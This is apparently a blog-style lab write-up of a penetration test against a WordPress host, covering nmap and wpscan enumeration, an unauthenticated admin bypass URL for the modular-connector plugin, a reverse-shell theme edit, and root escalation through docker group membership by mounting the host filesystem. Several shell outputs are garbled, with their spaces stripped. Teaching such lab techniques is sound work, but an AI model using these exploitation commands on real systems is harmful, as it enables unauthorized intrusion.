Objective
You have been hired to perform a penetration test on a single host in a company’s network. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your privileges to root.
The client has provided you with VPN access to the network, but no additional details.
TL;DR
Nmap identified SSH (22) and HTTP (80) open on the target, with the web server hosting a WordPress site. An initial passive wpscan
plugin enumeration came back empty, but an aggressive scan uncovered an outdated plugin, modular-connector
, vulnerable to an unauthenticated admin panel bypass (CVE-2026-23550) due to improper access control in its route matching. Exploiting this granted admin access to WordPress, which was used to inject a PHP reverse shell via the theme editor, landing a low-level shell as www-data
. Enumeration revealed www-data
belonged to the docker
group, which was abused to mount the host filesystem into a container and chroot
in, escalating to a full root shell.
Network Enumeration
TCP
sudonmap10.1.108.126−Pn−n−v−−min−rate=1000−−max−retries=2StartingNmap7.99(https://nmap.org)at2026−08−1117:29−0400InitiatingSYNStealthScanat17:29Scanning10.1.108.126[1000ports]Discoveredopenport22/tcpon10.1.108.126Discoveredopenport80/tcpon10.1.108.126CompletedSYNStealthScanat17:29,0.47selapsed(1000totalports)Nmapscanreportfor10.1.108.126Hostisup(0.029slatency).Notshown:998closedtcpports(reset)PORTSTATESERVICE22/tcpopenssh80/tcpopenhttpReaddatafilesfrom:/usr/share/nmapNmapdone:1IPaddress(1hostup)scannedin0.54secondsRawpacketssent:1000(44.000KB)∣Rcvd:1000(40.008KB)Runningannmapscanagainstthetargetrevealedonlytwoopenports.Bydefault,nmaponlyscansthetop1000mostcommonports,sothescanwasre−runspecifyingallTCPportstoensurenothingwasmissed. sudo nmap 10.1.108.126 -Pn -n -v -T4 -p- —min-rate=1000 —max-retries=2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:29 -0400
Initiating SYN Stealth Scan at 17:29
Scanning 10.1.108.126 [65535 ports]
Discovered open port 22/tcp on 10.1.108.126
Discovered open port 80/tcp on 10.1.108.126
Completed SYN Stealth Scan at 17:29, 16.62s elapsed (65535 total ports)
Nmap scan report for 10.1.108.126
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.71 seconds
Raw packets sent: 66241 (2.915MB) | Rcvd: 65935 (2.637MB)
A full port scan with nmap
confirmed that only two ports were open on this target. With that confirmed, a follow-up nmap
scan was run against both ports using service/version detection and default NSE scripts to gather more information.
$ nmap 10.1.108.126 -Pn -n -p22,80 -sCV
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:30 -0400
Nmap scan report for 10.1.108.126
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:fa:00:85:4c:0d:97:79:7b:46:e4:86:1b:18:72:19 (ECDSA)
|_ 256 ea:8d:af:2f:ec:15:d9:32:c0:94:6f:09:03:49:60:36 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|http-server-header: Apache/2.4.52 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|/wp-admin/
|_http-title: WordPress › Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.93 seconds
The results above show:
Port 22 — OpenSSH 8.9p1 (Ubuntu), running on a standard port
Port 80 — Apache 2.4.52 (Ubuntu), hosting a WordPress site
Now that TCP port scanning is complete, let’s move on to scanning UDP ports before interacting with the WordPress site hosted on this lab.
UDP
$ sudo nmap 10.1.108.126 -Pn -n -sU -v -T4 -p- —min-rate=1000 —max-retries=2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:31 -0400
Initiating UDP Scan at 17:31
Scanning 10.1.108.126 [65535 ports]
Completed UDP Scan at 17:34, 196.77s elapsed (65535 total ports)
Nmap scan report for 10.1.108.126
Host is up (0.035s latency).
All 65535 scanned ports on 10.1.108.126 are in ignored states.
Not shown: 65321 open|filtered udp ports (no-response), 214 closed udp ports (port-unreach)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 197.20 seconds
Raw packets sent: 196678 (9.501MB) | Rcvd: 216 (16.672KB)
A full UDP scan across all ports found no open ports — all ports were either open|filtered
(no response) or closed
(port unreachable). Since no UDP services are exposed, we can move on to interacting with the WordPress site identified.
HTTP|HTTP/S
WordPress Enumeration
When dealing with WordPress sites, a good area to enumerate is installed plugins — they’re a common entry point and can potentially grant an attacker full Administrator access to the site. We can use wpscan
to enumerate the plugins installed on this WordPress site.
$ wpscan —url http://10.1.108.126/ —enumerate ap
[+] URL: http://10.1.108.126/ [10.1.108.126]
[+] Started: Tue Aug 11 17:53:14 2026
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
The scan to enumerate all plugins failed and returned a No plugins found
message. However, it’s worth noting that the tool performed a Passive
scan, and there’s a more thorough method available called Aggressive
scanning. Think of it like the difference between nmap
scanning the top 1,000 most common ports versus all ports (-p-
) — the default/passive method only checks the “usual suspects” while the thorough/aggressive method checks everything, regardless of whether it stands out.
$ wpscan —url http://10.1.108.126/ —plugins-detection aggressive
[+] URL: http://10.1.108.126/ [10.1.108.126]
[+] Started: Tue Aug 11 17:53:47 2026
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:49:48 ⇐========================================================================================================⇒ (127074 / 127074) 100.00% Time: 00:49:48
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://10.1.108.126/wp-content/plugins/akismet/
| Latest Version: 5.7
| Last Updated: 2026-04-23T22:34:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.1.108.126/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] feed
| Location: http://10.1.108.126/wp-content/plugins/feed/
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.1.108.126/wp-content/plugins/feed/, status: 200
|
| The version could not be determined.
[+] https://github.com/placetopay/woocommerce-gateway-placetopay
| Location: http://10.1.108.126/wp-content/plugins/https://github.com/placetopay/woocommerce-gateway-placetopay/
|
| Found By: Known Locations (Aggressive Detection)
| - https://github.com/placetopay/woocommerce-gateway-placetopay/, status: 200
|
| The version could not be determined.
[+] modular-connector
| Location: http://10.1.108.126/wp-content/plugins/modular-connector/
| Last Updated: 2026-08-07T17:07:00.000Z
| Readme: http://10.1.108.126/wp-content/plugins/modular-connector/readme.txt
| [!] The version is out of date, the latest version is 3.2.0
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.1.108.126/wp-content/plugins/modular-connector/, status: 403
|
| Version: 2.5.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.1.108.126/wp-content/plugins/modular-connector/readme.txt
The aggressive scan for plugin enumeration on the WordPress site revealed an outdated installed plugin called modular-connector
. Looking up an exploit for this plugin led to this article detailing how to abuse it to gain unauthorized access to the Administrator panel.
Low-Level Shell from Unauthenticated Admin Access via Improper Access Control
Some key points from the article include the expected path, the route structure, and the required query parameters. Testing this against the target, a request like http:///api/modular-connector/login/awoken?origin=mo&type=xxx
successfully granted access to the admin panel.
With admin access to the WordPress site, we can activate the Twenty Twenty
theme and inject a PHP reverse shell into its template file. This way, when the file is updated — or when the site’s root page is requested — it triggers the reverse shell, giving us a low-level shell as www-data
on the target.
www-data@dark:/iduid=33(www−data)gid=33(www−data)groups=33(www−data),121(docker)www−data@dark:/ hostname
dark
Shells
www-data — Privilege Escalation
A common enumeration technique when obtaining a shell is to check which groups the user belongs to, as certain group memberships can lead directly to privilege escalation.
www-data@dark:/iduid=33(www−data)gid=33(www−data)groups=33(www−data),121(docker)Inthiscase,www−datawasfoundtobeamemberofthedockergroup,whichisawell−knownescalationpathsinceitgrantstheabilitytomountthehostfilesystemintoacontainerandgainrootaccess.Getaw0ken’sstoriesinyourinboxJoinMediumforfreetogetupdatesfromthiswriter.Beforerunningdocker,thecurrentshellwasupgradedtoafullyinteractiveTTYusingPython,sincedockerrun−itrequiresaproperterminaltoallocateapseudo−terminalforthecontainer.www−data@dark:/ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
www-data@dark:/$ docker run -v /:/mnt —rm -it alpine chroot /mnt bash
Unable to find image ‘alpine:latest’ locally
latest: Pulling from library/alpine
55afa1ecc21d: Pull complete
Digest: sha256:28bd5fe8b56d1bd048e5babf5b10710ebe0bae67db86916198a6eec434943f8b
Status: Downloaded newer image for alpine:latest
groups: cannot find name for group ID 11
To run a command as administrator (user “root”), use “sudo “.
See “man sudo_root” for details.
root@d3a539a12354:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@d3a539a12354:/# hostname
d3a539a12354
The docker
command ran successfully, pulling the alpine
image and mounting the host’s root filesystem (/
) into the container at /mnt
. Since www-data
is a member of the docker
group, it has permission to interact with the Docker daemon — and since the Docker daemon itself runs as root, any container it spawns has root-level access to whatever is mounted into it.
By chroot
-ing into /mnt
(the mounted host filesystem), the shell effectively operates as root on the host, as confirmed by the id
output showing uid=0(root)
.
And just like that, this lab has aw0ken.